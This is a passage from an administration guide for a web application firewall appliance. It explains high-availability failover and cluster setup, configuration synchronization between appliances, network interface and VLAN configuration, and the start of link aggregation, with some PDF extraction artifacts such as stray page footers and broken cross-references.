If the active appliance fails, a failover occurs: the standby becomes active. To do this, the standby takes all IP addresses of the unresponsive appliance: it notifies the network via ARP to redirect traffic for that virtual MAC address (VMAC) to its own network interfaces. (In transparent modes, this includes the management IP. Additionally, at Layer 2, switches are notified that the
VMAC is now connected to a different physical port. So even though in these modes the interfaces usually are transparent bridges without IPs, ARP traffic will still occur due to failover.)
Time required for traffic to be redirected to the new active appliance varies by your network’s responsiveness to changeover notification and by your configuration:
Total failover time =
ARP Packet Numbers
x
ARP Packet Interval
+ Network responsiveness
+ Heartbeat timeout
106 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
For example, if:
•
Detection Interval
is 3 (i.e. 0.3 seconds)
•
Heartbeat Lost Threshold
is 2
•
ARP Packet Numbers
is 3
•
ARP Packet Interval
is 1
• Network switches etc. take 2 seconds to acknowledge and redirect traffic flow then the total time between the first unacknowledged heartbeat and traffic redirection could be up to 5.6 seconds.
When the former active appliance comes back online, it may or may not assume its former active role. For an explanation, see
“How HA chooses the active appliance” on page 44
. (At this time, when an appliance is rejoining the cluster, FortiWeb will also send gratuitous ARP packets.
This helps to ensure that traffic is not accidentally forwarded to both the current and former active appliance in cases where the cluster is connected through 2 switches.)
shows an example HA network topology with IP address transfer from the active appliance to the standby appliance upon failover. In this example, the primary heartbeat link is formed by a crossover cable between the two port3 physical network ports; the secondary heartbeat link is formed between the two port4 physical network ports.
To configure FortiWeb appliances that are operating in HA mode, you usually connect only to the active appliance. The active unit’s configuration is almost entirely synchronized to the passive appliance, so that changes made to the active appliance are propagated to the standby appliance, ensuring that it will be prepared for a failover.
Exceptions to this rule include:
• connecting to a standby appliance in order to view log messages recorded about the standby appliance itself on its own hard disk
• connecting to a standby appliance to configure settings that are not synchronized (see
“Configuration settings that are not synchronized by HA” on page 42
)
To configure HA
1. If the HA cluster will use FortiGuard services, license all FortiWeb appliances in the HA group, and register them with the Fortinet Technical Support web site: https://support.fortinet.com/
If you license only the primary appliance in an active-passive HA group, after a failover, the secondary appliance will not be able to use the FortiGuard service. This could cause traffic to be scanned with out-of-date definitions, potentially allowing newer attacks.
2. Cable both appliances into a redundant network topology.
For an example, see Figure 21 on page 106 .
107 FortiWeb 5.2 Patch 2 Administration Guide
3. Physically link the FortiWeb appliances that will be members of the HA cluster.
You must link at least one of their ports (e.g. port4 to port4) for heartbeat and synchronization traffic between members of the cluster. You can either:
• link two appliances directly via a crossover cable
• link the appliances through a switch
If a switch is used to connect the heartbeat interfaces, the heartbeat interfaces must be reachable by Layer 2 multicast.
Maintain the heartbeat link(s). If the heartbeat is accidentally interrupted for an active-passive HA group, such as when a network cable is temporarily disconnected, the secondary appliance will assume that the primary unit has failed, and become the new primary appliance. If no failure has actually occurred, both FortiWeb appliances will be operating as primary appliances simultaneously.
To avoid unintentional failovers due to accidental detachment or hardware failure of a single heartbeat link, make two heartbeat links.
For example, you might link port3 to port3 on the other appliance, and link port4 to port4
on the other appliance, then configure both appliances to use those network interfaces for heartbeat and synchronization.
If you link HA appliances through switches, to improve fault tolerance and reliability, link the ports through two separate switches. Do not connect these switches to your overall network, which could introduce a potential attack point, and could also allow network load to cause latency in the heartbeat, which could cause an unintentional failover.
4. Log in to both appliances as the admin administrator account.
Accounts whose access profile includes Read and Write permissions to the System
Configuration area can configure HA, but may not be able to use features that may be necessary when using HA, such as logs and network configuration.
5. On both appliances, go to System > Config > HA-Config.
Fortinet
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the System Configuration category. For details, see
By default, each FortiWeb appliance operates as a single, standalone appliance: only the
Configured HA mode drop-down list appears, with the Standalone option selected.
6. From Configured HA mode, select Active-Passive.
Fail-open is disabled when the FortiWeb appliance is configured as part of an HA pair. For
information on fail-to-wire, see “Fail-to-wire for power loss/reboots” on page 550
.
Additional options appear that enable you to configure HA.
108 FortiWeb 5.2 Patch 2 Administration Guide
7. Configure these settings:
Fortinet
Setting name Description
Group-name
Type a name to identify the HA pair if you have more than one.
This setting is optional, and does not affect HA function.
The maximum length is 35 characters.
Device
Priority
Type the priority of the appliance when electing the primary appliance in the HA pair. (On standby devices, this setting can be reconfigured using the
CLI command execute ha manage <serial-number_str>
<priority_int>
. For details, see the
FortiWeb CLI Reference
.)
This setting is optional. The smaller the number, the higher the priority. The valid range is 0 to 9. The default is 5.
Note:
By default, unless you enable
Override
, uptime is more important than this setting. For details, see
“How HA chooses the active appliance” on page 44 .
Override
Enable to make
Device Priority
a more important factor than uptime when selecting the main appliance. See
“How HA chooses the active appliance” on page 44 .
109 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name Description
Group ID
Type a number that identifies the HA pair.
Both members of the HA pair must have the same group ID. If you have more than one HA pair on the same network, each HA pair must have a different group ID.
Changing the group ID changes the cluster’s virtual MAC address.
The valid range is 0 to 63. The default value is 0.
Detection
Interval
Heartbeat
Lost
Threshold
Type the number of 100-millisecond intervals to set the pause between each heartbeat packet that the one FortiWeb appliance sends to the other
FortiWeb appliance in the HA pair. This is also the amount of time that a
FortiWeb appliance waits before expecting to receive a heartbeat packet from the other appliance.
This part of the configuration is synchronized between the active appliance and standby appliance.
The valid range is 1 to 20 (that is, between 100 and 2,000 milliseconds).
Note:
Although this setting is synchronized between the main and standby appliances, you should initially configure both appliances with the same
Detection Interval
to prevent inadvertent failover from occurring before the initial synchronization.
Type the number of times one of HA appliances retries the heartbeat and waits to receive HA heartbeat packets from the other HA appliance before assuming that the other appliance has failed.
This part of the configuration is synchronized between the main appliance and standby appliance.
Normally, you do not need to change this setting. Exceptions include:
• Increase the failure detection threshold if a failure is detected when none has actually occurred. For example, during peak traffic times, if the main appliance is very busy, it might not respond to heartbeat packets in time, and the standby appliance may assume that the main appliance has failed.
• Reduce the failure detection threshold or detection interval if administrators and HTTP clients have to wait too long before being able to connect through the main appliance, resulting in noticeable down time.
The valid range is from 1 to 60.
Note:
Although this setting is synchronized between the main and standby appliances, you should initially configure both appliances with the same
Heartbeat Lost Threshold
to prevent inadvertent failover from occurring before the initial synchronization.
110 FortiWeb 5.2 Patch 2 Administration Guide
Setting name Description
Port Monitor
Mark the check boxes of one or more network interfaces that each directly correlate with a physical link. These ports will be monitored for link failure.
Port monitoring (also called interface monitoring) monitors physical network ports to verify that they are functioning properly and linked to their networks. If the physical port fails or the cable becomes disconnected, a failover occurs. You can monitor physical interfaces, but not VLAN subinterfaces or 4-port switches.
Note:
To prevent an unintentional failover, do not configure port monitoring
until you configure HA on both appliances in the HA pair, and have plugged in the cables to link the physical network ports that will be monitored.
Heartbeat
Interface
Select which port(s) on this appliance that the main and standby appliances will use to send heartbeat signals and synchronization data between each other (i.e. the HA heartbeat link).
Connect this port to the same port number on the other member of the HA cluster. (e.g., If you select port3 for the primary heartbeat link, connect port3 on this appliance to port3 on the other appliance.)
At least one heartbeat interface must be selected on each appliance in the
HA cluster. Ports that currently have an IP address assigned for other purposes (that is, virtual servers or bridges) cannot be re-used as a heartbeat link.
Tip:
If enough ports are available, you can select both a primary heartbeat interface and a secondary heartbeat interface on each appliance in the HA pair to provide heartbeat link redundancy. (You cannot use the same port as both the primary and secondary heartbeat interface on the same appliance, as this is incompatible with the purpose of link redundancy.)
Note: If a switch is used to connect the heartbeat interfaces, the heartbeat interfaces must be reachable by Layer 2 multicast.
Fortinet 111 FortiWeb 5.2 Patch 2 Administration Guide
8. Click Apply.
Both appliances join the HA cluster by matching their
Group ID
. They begin to send heartbeat and synchronization traffic to each other through their heartbeat links.
To determine which appliance currently has the role of the main appliance, on System >
Config > HA-Config, in the HA Member table, view the HA Role column:
• main — The appliance in this row is currently active. The active appliance applies policies to govern the traffic passing to your web servers. Also called the primary, master, or main appliance.
• standby — The appliance in this row is currently passive, and is not actively applying policies. The passive appliance listens to heartbeat traffic and port monitoring for signs that the main appliance may have become unresponsive, at which point it will assume the role of the main appliance. Also called the secondary or standby appliance.
Fortinet
If both appliances believe that they are the main:
• Test the cables and/or switches in the heartbeat link to verify that the link is functional.
• Verify that you have selected the heartbeat port or ports in
Heartbeat Interface
. Make sure that the primary and secondary link is not crossed (that is, the primary heartbeat interface is not connected to the secondary heartbeat interface on the other appliance).
• Verify that the
Group ID
matches on both appliances.
• Verify that the ports on
Port Monitor
are linked and up (available).
• If the heartbeat link passes through switches and/or routers, you may need to adjust the time required after a reboot to assess network availability before electing the main appliance. For details, see the boot-time <seconds_int> setting in the
FortiWeb CLI
112 FortiWeb 5.2 Patch 2 Administration Guide
Reference
.
• For debugging logs, use the diagnose system ha status and diagnose debug application hatalk level
commands. For details, see the
FortiWeb CLI
Reference
.
Fortinet 113 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
9. To monitor the HA cluster for failover, you can use SNMP (see
“Configuring an SNMP community” on page 614
), log messages, and alert email (see
“Configuring logging” on page 575
).
If failover time is too long, adjust the following:
Setting name
ARP Packet
Numbers
ARP Packet
Interval
Description
Type the number of times that the FortiWeb appliance will broadcast extra address resolution protocol (ARP) packets when it takes on the main role. (Even though a new NIC has not actually been connected to the network, FortiWeb does this to notify the network that a new physical port has become associated with the IP address and virtual
MAC of the HA pair.) This is sometimes called “using gratuitous ARP packets to train the network,” and can occur when the main appliance is starting up, or during a failover. Also configure
ARP Packet Interval
.
Normally, you do not need to change this setting. Exceptions include:
• Increase the number of times the main appliance sends gratuitous
ARP packets if your HA pair takes a long time to fail over or to train the network. Sending more gratuitous ARP packets may help the failover to happen faster.
• Decrease the number of times the main appliance sends gratuitous
ARP packets if your HA pair has a large number of VLAN interfaces and virtual domains. Because gratuitous ARP packets are broadcast, sending them may generate a large amount of network traffic. As long as the HA pair still fails over successfully, you could reduce the number of times gratuitous ARP packets are sent to reduce the amount of traffic produced by a failover.
The valid range is 1 to 16.
Type the number of seconds to wait between each broadcast of ARP packets.
Normally, you do not need to change this setting. Exceptions include:
• Decrease the interval if your HA pair takes a long time to fail over or to train the network. Sending ARP packets more frequently may help the failover to happen faster.
• Increase the interval if your HA pair has a large number of VLAN interfaces and virtual domains. Because gratuitous ARP packets are broadcast, sending them may generate a large amount of network traffic. As long as the HA pair still fails over successfully, you could increase the interval between when gratuitous ARP packets are sent to reduce the rate of traffic produced by a failover.
The valid range is from 1 to 20.
If your HA link passes through switches and/or routers, and inadvertent failovers occur when rebooting the HA pair, you can increase the maximum time to wait for a heartbeat signal after a reboot by configuring boot-time <limit_int>. See the
FortiWeb CLI Reference
.
114 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
Updating firmware on an HA pair
•
•
HA heartbeat & synchronization
•
How HA chooses the active appliance
•
Configuration settings that are not synchronized by HA
•
Fail-to-wire for power loss/reboots
•
Topologies for high availability (HA) clustering
•
Replicating the configuration without FortiWeb HA (external HA)
Replicating the configuration without FortiWeb HA (external HA)
Configuration synchronization provides the ability to duplicate the configuration from another
FortiWeb appliance without using FortiWeb high availability (HA). The synchronization is unilateral push: it is not a bilateral synchronization. It adds any missing items, and overwrites any items that are identically named, but does not delete unique items on the target FortiWeb, nor does it pull items from the target to the initiating FortiWeb.
Replicating the configuration can be useful in some scenarios where you cannot use, or do not want, FortiWeb HA:
• External active-active HA (load balancing) could be provided by the firewall, the router, or an HTTP-aware load balancer such as FortiADC , since active-active HA is not provided by
FortiWeb itself.
• External active-passive HA (failover) could be provided by a specialized failover device, instead of the FortiWebs themselves, for network load distribution, latency, and performance optimization reasons. The failover device must monitor for live routes.
• Multiple identical non-HA FortiWeb appliances in physically distant locations with the same network scheme might be required to have the same (maybe with a few extra different) server policies, and therefore management could be simplified by configuring one FortiWeb and then replicating that to the others.
In such cases, you may be able to save time and preserve your existing network topology by synchronizing a FortiWeb appliance’s configuration with another FortiWeb. This way, you do not need to individually configure each one, and do not need to use FortiWeb HA.
Fortinet 115 FortiWeb 5.2 Patch 2 Administration Guide
Figure 22:Example network topology: Configuration synchronization with multiple identical
FortiWeb appliances (non-HA)
Fortinet
Configuration synchronization is not a complete replacement for HA. Each synchronized
FortiWeb does not keep any heartbeat link (no failover will occur and availability will not be increased) nor does it balance load with the other. Additionally, configuration synchronization will not delete items on the target FortiWeb if the item’s name is different. Also it will not import items that exist on the target, but not on your local FortiWeb.
Configuration synchronization is not supported when administrative domains (ADOMs) are enabled.
If you require such features, either use FortiWeb HA instead, or augment configuration synchronization with an external HA/load balancing device such as FortiADC.
Like HA, due to hardware-based differences in valid settings, configuration synchronization requires that both FortiWeb appliances be of the same model. You cannot, for example, synchronize a FortiWeb-VM and FortiWeb 1000D.
You can configure which port number the appliance uses to synchronize its configuration. See
Synchronize each time you change the configuration, and are ready to propagate the
changes. Unlike FortiWeb HA, configuration synchronization is not automatic and continuous.
Changes will only be pushed when you manually initiate it.
To replicate the configuration from another FortiWeb
Back up your system before changing the operation mode (see “Backups” on page 215 ).
Synchronizing the configuration overwrites the existing configuration, and cannot be undone without restoring the configuration from a backup.
116 FortiWeb 5.2 Patch 2 Administration Guide
1. Go to System > Config > Config-Synchronization.
Fortinet
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Network Configuration category. For details, see
“Permissions” on page 52 . This feature is not available if ADOMs are enabled.
2. In Peer FortiWeb IP, type the IP address of the target FortiWeb appliance that you want to receive configuration items from your local FortiWeb appliance.
3. In Peer FortiWeb Port, type the port number that the target FortiWeb appliance uses to listen for configuration synchronization. The default port is 8333.
4. In Peer FortiWeb Password, type the password of the administrator account named admin on the other FortiWeb appliance.
5. In Synchronization Type, select either:
• Full — Syncs all configuration except:
• Network interface used for synchronization (prevents sync from accidentally breaking connectivity with future syncs)
• Administrator accounts
• Access profiles
• HA settings
This option is not available if the FortiWeb appliance is operating in reverse proxy mode.
See also “Supported features in each operation mode” on page 69 .
• Partial — Syncs all configuration except:
• System
• Router > Static > Static Route
• Router > Static > Setting
• Policy > Web Protection Profile
• Server Objects > Virtual Servers
• Server Objects > Physical Servers
• Server Objects > Domain Servers
• Server Objects > Server Farm
•
Server Objects > HTTP Content Routing Policy
• Server Objects > Server Health Check
• Server Objects > Service
• Server Objects > Error Page
• Policy > Server Policycy
117 FortiWeb 5.2 Patch 2 Administration Guide
To test the connection settings, click Test. Results appear in a pop-up window. If the test connection to the target FortiWeb succeeds, this message should appear:
Service is available...
If the following message appears:
Service isn't available...
verify that:
• the other FortiWeb is the same model
• the other FortiWeb is configured to listen on your indicated configuration sync port
number (see “Config-Sync” on page 57
)
• the other FortiWeb’s admin account password matches
• firewalls and routers between the two FortiWebs allow the connection
6. Click Synchronize.
A dialog appears, warning you that all policies and profiles with identical names will be overwritten on the other FortiWeb, and asking if you want to continue.
7. Click Yes.
The FortiWeb appliance sends its configuration to the other, which synchronizes any identically-named policies and settings. Time required varies by the size of the configuration and the speed of the network connection. When complete, this message should appear:
Config. synchronized successfully.
See also
•
Topologies for high availability (HA) clustering
•
Configuring a high availability (HA) FortiWeb cluster
Fortinet 118 FortiWeb 5.2 Patch 2 Administration Guide
Configuring the network settings
When shipped, each of the FortiWeb appliance’s physical network adapter ports (or, for
FortiWeb-VM, vNICs) has a default IP address and netmask. If these IP addresses and netmasks are not compatible with the design of your unique network, you must configure them.
Table 10: Default IP addresses and netmasks
Network Interface*
port1 port2 port3
IPv4 Address/Netmask IPv6 Address/Netmask
192.168.1.99/24
0.0.0.0/0
0.0.0.0/0
::/0
::/0
::/0 port4 0.0.0.0/0
* The number of network interfaces varies by model.
::/0
You also must configure FortiWeb with the IP address of your DNS servers and gateway router.
You can use either the web UI or the CLI to configure these basic network settings.
If you are installing a FortiWeb-VM virtual appliance, and you followed the instructions in the
FortiWeb-VM Install Guide
, you have already configured some of the settings for port1. To fully configure all of the network interfaces, you must complete this chapter.
Network interface or bridge?
To connect to the CLI and web UI, you must assign at least one FortiWeb network interface
(usually port1) with an IP address and netmask so that it can receive your connections.
Depending on your network, you usually must configure others so that FortiWeb can connect to the Internet and to the web servers it protects.
How should you configure the other network interfaces? Should you add more? Should each have an IP address? That varies. In some cases, you may not want to assign IP addresses to the other network interfaces.
Initially, each physical network port (or, on FortiWeb-VM, a vNIC) has only one network interface that directly corresponds to it — that is, a “physical network interface.” Multiple network interfaces (“subinterfaces” or “virtual interfaces”) can be associated with a single physical port,
Fortinet 119 FortiWeb 5.2 Patch 2 Administration Guide
and vice versa (“redundant interfaces”/”NIC teaming”/”NIC bonding” or “aggregated links”).
These can provide features such as link failure resilience or multi-network links.
Fortinet
FortiWeb does not currently support IPSec VPN virtual interfaces nor redundant links. If you require these features, implement them separately on your FortiGate, VPN appliance, or firewall.
Usually, each network interface has at least one IP address and netmask. However, this is not true for bridges.
Bridges (V-zones) allow packets to travel between the FortiWeb appliance’s physical network ports over a physical layer link, without an IP layer connection with those ports.
Use bridges when:
• the FortiWeb appliance operates in true transparent proxy or transparent inspection mode, and
• you want to deploy FortiWeb between incoming connections and the web server it is protecting, without changing your IP address scheme or performing routing or network address translation (NAT)
For bridges, do not assign IP addresses to the ports that you will connect to either the web server or to the overall network. Instead, group the two physical network ports by adding their associated network interfaces to a bridge.
Configure each network interface that will connect to your network or computer (see
“Configuring the network interfaces” on page 121
broadcasts, configure VLANs (see “Adding VLAN subinterfaces” on page 125
).
120 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
Configuring the network interfaces
•
•
•
Configuring the network interfaces
You can configure network interfaces either via the web UI or the CLI. If your network uses
.
If the FortiWeb appliance is operating in true transparent proxy or transparent inspection mode and you will configure a V-zone (bridge), do not configure any physical network interfaces other than port1. Configured NICs cannot be added to a bridge. For details, see
.
If this FortiWeb will belong to a FortiWeb HA cluster, do not configure any network interface that will be used as an HA heartbeat and synchronization link. If you are re-cabling your network and must configure it, connect and switch to the new HA link first. Failure to do so could cause unintentional downtime, failover, and ignored IP address configuration. To switch the HA link, see
“Configuring a high availability (HA) FortiWeb cluster” on page 105 .
To configure a network interface’s IP address via the web UI
1. Go to System > Network > Interface.
Fortinet
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Network Configuration category. For details, see
If the network interface’s Status column is Bring Up, its administrative status is currently
“down” and it will not receive or emit packets, even if you otherwise configure it. To bring up the network interface, click the Bring Up link.
121 FortiWeb 5.2 Patch 2 Administration Guide
This Status column is not the detected physical link status; it is the administrative status that indicates whether you permit network interface to receive and/or transmit packets.
For example, if the cable is physically unplugged, diagnose hardware nic list port1 or
“Operation widget” on page 570 may indicate that the link is down, even though you have
administratively enabled it by clicking Bring Up.
By definition, HA heartbeat and synchronization links should always be “up.” Therefore, if you have configured FortiWeb to use a network interface for HA, its Status column will always display HA Member.
2. Click the row of the network interface that you want to modify.
The Edit Interface dialog appears. Name displays the name and media access control (MAC) address of this network interface. The network interface is directly associated with one physical link as indicated by its name, such as port2.
In HA, it may use a virtual MAC instead. See
“HA heartbeat & synchronization” on page 40
and
“Configuring a high availability (HA) FortiWeb cluster” on page 105 .
Fortinet 122 FortiWeb 5.2 Patch 2 Administration Guide
3. Configure these settings:
Fortinet
Setting name
IP/Netmask
Administrative
Access
HTTPS
Description
Type the IP address and subnet mask, separated by a forward slash
( / ), such as 192.0.2.2/24 for an IPv4 address or
2001:0db8:85a3:::8a2e:0370:7334/64
for an IPv6 address.
The IP address must be on the same subnet as the network to which the interface connects. Two network interfaces cannot have IP addresses on the same subnet.
Enable the types of administrative access that you want to permit to this interface.
These options do not disable outgoing administrative connections, such as update polling connections to the FDN or outgoing ICMP resulting from a CLI command such as execute ping. Neither do they govern traffic destined for a web server or virtual server, which are governed by policies. These options only govern incoming connections destined for the appliance itself.
Caution:
Enable only on network interfaces connected to trusted private networks (defined in
) or directly to your management computer. If possible, enable
only secure administrative access protocols such as HTTPS or SSH.
Failure to restrict administrative access could compromise the security of your FortiWeb appliance.
Enable to allow secure HTTPS connections to the web UI through this network interface. To configure the listening port number, see
“Global web UI & CLI settings” on page 56 .
123 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
PING
Description
Enable to allow:
• ICMP type 8 (ECHO_REQUEST)
• UDP ports 33434 to 33534 for ping and traceroute to be received on this network interface.
When it receives an ECHO_REQUEST (“ping”), FortiWeb will reply with
ICMP type 0 (ECHO_RESPONSE or “pong”).
Note:
Disabling PING only prevents FortiWeb from receiving ICMP type 8 (ECHO_REQUEST) and traceroute-related UDP.
HTTP
Description
It does not disable FortiWeb CLI commands such as execute ping or execute traceroute that send such traffic.
Enable to allow HTTP connections to the web UI through this network
interface. To configure the listening port number, see “Global web UI &
Caution:
HTTP connections are not secure, and can be intercepted by a third party. If possible, enable this option only for network interfaces connected to a trusted private network, or directly to your management computer. Failure to restrict administrative access through this protocol could compromise the security of your FortiWeb appliance.
SSH
SNMP
Enable to allow SSH connections to the CLI through this network interface.
Enable to allow SNMP queries to this network interface, if queries have been configured and the sender is a configured SNMP manager.
To configure the listening port number and configure queries and
traps, see “SNMP traps & queries” on page 612 .
TELNET
Enable to allow Telnet connections to the CLI through this network interface.
Caution:
Telnet connections are not secure, and can be intercepted by a third party. If possible, enable this option only for network interfaces connected to a trusted private network, or directly to your management computer. Failure to restrict administrative access through this protocol could compromise the security of your FortiWeb appliance.
Type a comment. The maximum length is 63 characters.
Optional.
4. Click OK.
If you were connected to the web UI through this network interface, you are now disconnected from it.
5. To access the web UI again, in your web browser, modify the URL t to match the new IP address of the network interface. For example, if you configured the network interface with the IP address 10.10.10.5, you would browse to: https://10.10.10.5
If the new IP address is on a different subnet than the previous IP address, and your computer is directly connected to the FortiWeb appliance, you may also need to modify the
IP address and subnet of your computer to match the FortiWeb appliance’s new IP address.
124 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
To configure a network interface’s IPv4 address via the CLI
Enter the following commands: config system interface edit <interface_name> set ip <address_ipv4mask> <netmask_ipv4mask> set allowaccess {http https ping snmp ssh telnet} end where:
•
<interface_name>
is the name of a network interface
•
<address_ipv4>
is the IP address assigned to the network interface
•
<netmask_ipv4mask>
is its netmask in dotted decimal format
•
{http https ping snmp ssh telnet}
is a space-delimited list of zero or more administrative protocols that you want to allow to access the FortiWeb appliance through the network interface
HTTP and Telnet connections are not secure, and can be intercepted by a third party. If possible, enable this option only for network interfaces connected to a trusted private network, or directly to your management computer. Failure to restrict administrative access through this protocol could compromise the security of your FortiWeb appliance.
If you were connected to the CLI through this network interface, you are now disconnected from it.
To access the CLI again, in your terminal client, modify the address to match the new IP address of the network interface. For example, if you configured the network interface with the IP address 172.16.1.20, you would connect to that IP address.
If the new IP address is on a different subnet than the previous IP address, and your computer is directly connected to the FortiWeb appliance, you may also need to modify the
IP address and subnet of your computer to match the FortiWeb appliance’s new IP address.
Adding VLAN subinterfaces
You can add a virtual local area network (VLAN) subinterface to a network interface or bridge on the FortiWeb appliance.
Similar to a local area network (LAN), use a IEEE 802.1q VLAN to reduce the size of a broadcast domain and thereby reduce the amount of broadcast traffic received by network hosts, improving network performance.
VLANs are not designed to be a security measure, and should not be used where untrusted devices and/or individuals outside of your organization have access to the equipment. VLAN tags are not authenticated, and can be ignored or modified by attackers. VLAN tags rely on the voluntary compliance of the receiving host or switch.
Unlike physical LANs, VLANs do not require you to install separate hardware switches and routers to achieve this effect. Instead, VLAN-compliant switches, such as FortiWeb appliances, restrict broadcast traffic based upon whether its VLAN ID matches that of the destination network. As such, VLAN trunks can be used to join physically distant broadcast domains as if they were close.
The VLAN ID is part of the tag that is inserted into each Ethernet frame in order to identify traffic for a specific VLAN. VLAN header addition is handled automatically by FortiWeb appliances, and does not require that you adjust the maximum transmission unit (MTU). Depending on
125 FortiWeb 5.2 Patch 2 Administration Guide
whether the device receiving a packet operates at Layer 2 or Layer 3 of the network, this tag may be added, removed, or rewritten before forwarding to other nodes on the network.
For example, a Layer 2 switch or FortiWeb appliance operating in true transparent proxy mode would typically add or remove a tag when forwarding traffic among members of the VLAN, but would not route tagged traffic to a different VLAN ID. In contrast, a FortiWeb appliance operating in reverse proxy mode, inspecting the traffic to make routing decisions based upon higher-level layers/protocols, might route traffic between different VLAN IDs (also known as inter-VLAN routing) if indicated by its policy, such as if it has been configured to do content-based routing.
Cisco Discovery Protocol (CDP) is supported for VLANs, including when FortiWeb is operating in either of the transparent modes.
To configure a VLAN subinterface
1. Go to System > Network > Interface.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Network Configuration category. For details, see
2. Mark the check box next to the physical network interface associated with the physical network port where you want to create the VLAN subinterface.
3. Click Create New.
A dialog appears.
4. Configure these settings:
Fortinet
Setting name
Name
Interface
Description
Type the name (such as vlan100) of this VLAN subinterface that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 15 characters.
Tip:
The name cannot be changed once you save the entry. For a
workaround, see “Renaming entries” on page 63
.
Select the name of the physical network port with which the VLAN subinterface will be associated.
126 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
VLAN ID
IP/Netmask
Administrative
Access
HTTPS
Description
Type the VLAN ID , such as 100, of packets that belong to this
VLAN subinterface.
• If one physical network port (that is, a VLAN trunk) will handle multiple VLANs, create multiple VLAN subinterfaces on that port, one for each VLAN ID that will be received.
• If multiple different physical network ports will handle the same
VLANs, on each of the ports, create VLAN subinterfaces that have the same VLAN IDs.
The valid range is between 1 and 4094 and must match the VLAN
ID added by the IEEE 802.1q
-compliant router or switch connected to the VLAN subinterface.
For the maximum number of interfaces for your FortiWeb model, including VLAN subinterfaces, see
“Appendix B: Maximum configuration values” on page 702
.
Note:
Inter-VLAN routing is not supported if the FortiWeb appliance is operating in true transparent proxy mode. In that case, you must configure the same VLAN IDs on each physical network port.
Type the IP address/subnet mask associated with the VLAN, if any. The IP address must be on the same subnet as the network to which the interface connects. Two network interfaces cannot have IP addresses on the same subnet.
Enable the types of administrative access that you want to permit to this interface.
These options do not disable outgoing administrative connections, such as update polling connections to the FDN or outgoing ICMP resulting from a CLI command such as execute ping
. Neither do they govern traffic destined for a web server or virtual server, which are governed by policies. These options only govern incoming connections destined for the appliance itself.
Caution:
Enable only on network interfaces connected to trusted
,
,
) or directly to your management computer. If possible, enable only secure administrative access protocols such as HTTPS or SSH. Failure to restrict administrative access could compromise the security of your FortiWeb appliance.
Enable to allow secure HTTPS connections to the web UI through this network interface. To configure the listening port number, see
“Global web UI & CLI settings” on page 56
.
127 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Description
PING
Enable to allow:
• ICMP type 8 (ECHO_REQUEST)
• UDP ports 33434 to 33534 for ping and traceroute to be received on this network interface. When it receives an ECHO_REQUEST (“ping”), FortiWeb will reply with ICMP type 0 (ECHO_RESPONSE or “pong”).
Note:
Disabling PING only prevents FortiWeb from receiving
ICMP type 8 (ECHO_REQUEST) and traceroute-related UDP.
HTTP
It does not disable FortiWeb CLI commands such as execute ping
or execute traceroute that send such traffic.
Enable to allow HTTP connections to the web UI through this network interface. To configure the listening port number, see
“Global web UI & CLI settings” on page 56
.
Caution:
HTTP connections are not secure, and can be intercepted by a third party. If possible, enable this option only for network interfaces connected to a trusted private network, or directly to your management computer. Failure to restrict administrative access through this protocol could compromise the security of your FortiWeb appliance.
SSH
SNMP
Enable to allow SSH connections to the CLI through this network interface.
Enable to allow SNMP queries to this network interface, if queries have been configured and the sender is a configured SNMP manager. To configure the listening port number and configure
queries and traps, see “SNMP traps & queries” on page 612 .
TELNET
Enable to allow Telnet connections to the CLI through this network interface.
Caution:
Telnet connections are not secure, and can be intercepted by a third party. If possible, enable this option only for network interfaces connected to a trusted private network, or directly to your management computer. Failure to restrict administrative access through this protocol could compromise the security of your FortiWeb appliance.
5. Click OK.
Your new VLAN is initially hidden in the list of network interfaces.
To expand the network interface listing in order to view all of a port’s associated VLANs, click the blue disclosure arrow next to the name of the port.
128 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
See also
•
•
•
•
•
•
•
Fail-to-wire for power loss/reboots
•
Link aggregation
You can configure a network interface that is the bundle of several physical links via either the web UI or the CLI.
Link aggregation is currently supported only when FortiWeb is deployed in reverse proxy mode.
It cannot be applied to VLAN subinterfaces, nor to ports that are used for the HA heartbeat. It is not supported in FortiWeb-VM.
Link aggregation (also called NIC teaming/bonding or link bundling) forms a network interface that queues and transmits over multiple wires (also called a port channel), instead of only a single wire (as FortiWeb would normally do with a single network interface per physical port).
This multiplies the bandwidth that is available to the network interface, and therefore is useful if
FortiWeb will be inline with your network backbone.
Link aggregation on FortiWeb complies with IEEE 802.3ad
and distributes Ethernet frames using a modified round-robin behavior. If a port in the aggregate fails, traffic is redistributed automatically to the remaining ports with the only noticeable effect being a reduced bandwidth.
When broadcast or multicast traffic is received on a port in the aggregate, reverse traffic will return on the same port.
When link aggregation uses a round-robin that considers only Layer 2, Ethernet frames that comprise an HTTP request can sometimes arrive out of order. Because network protocols at higher layers often do not gracefully handle this (especially TCP, which may decrease network performance by requesting retransmission when the expected segment does not arrive),
FortiWeb’s frame distribution algorithm is configurable.
For example, if you notice that performance with link aggregation is not as high as you expect, you could try configuring FortiWeb to queue related frames consistently to the same port by considering the IP session (Layer 3) and TCP connection (Layer 4), not simply the MAC address
(Layer 2).
You must also configure the router, switch, or other link aggregation control protocol
(LACP)-compatible device at the other end of FortiWeb’s network cables to match, with identical:
• link speed
• duplex/simplex setting
• ports that can be aggregated
129 FortiWeb 5.2 Patch 2 Administration Guide
This will allow the two devices to use the cables between those ports to form a trunk, not an accidental Layer 2 (link) network loop. FortiWeb will use LACP to:
• detect suitable links between itself and the other device, and form a single logical link
• detect individual port failure so that the aggregate can redistribute queuing to avoid a failed port
To configure a link aggregate interface
1. Go to System > Network > Interface.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Network Configuration category. For details, see
2. Mark the check box next to the 2 or more physical network interfaces associated with the physical network ports that you want to aggregate into a single logical interface.
3. Click Create New.
A dialog appears.
4. Configure these settings:
Setting name
Description
Name
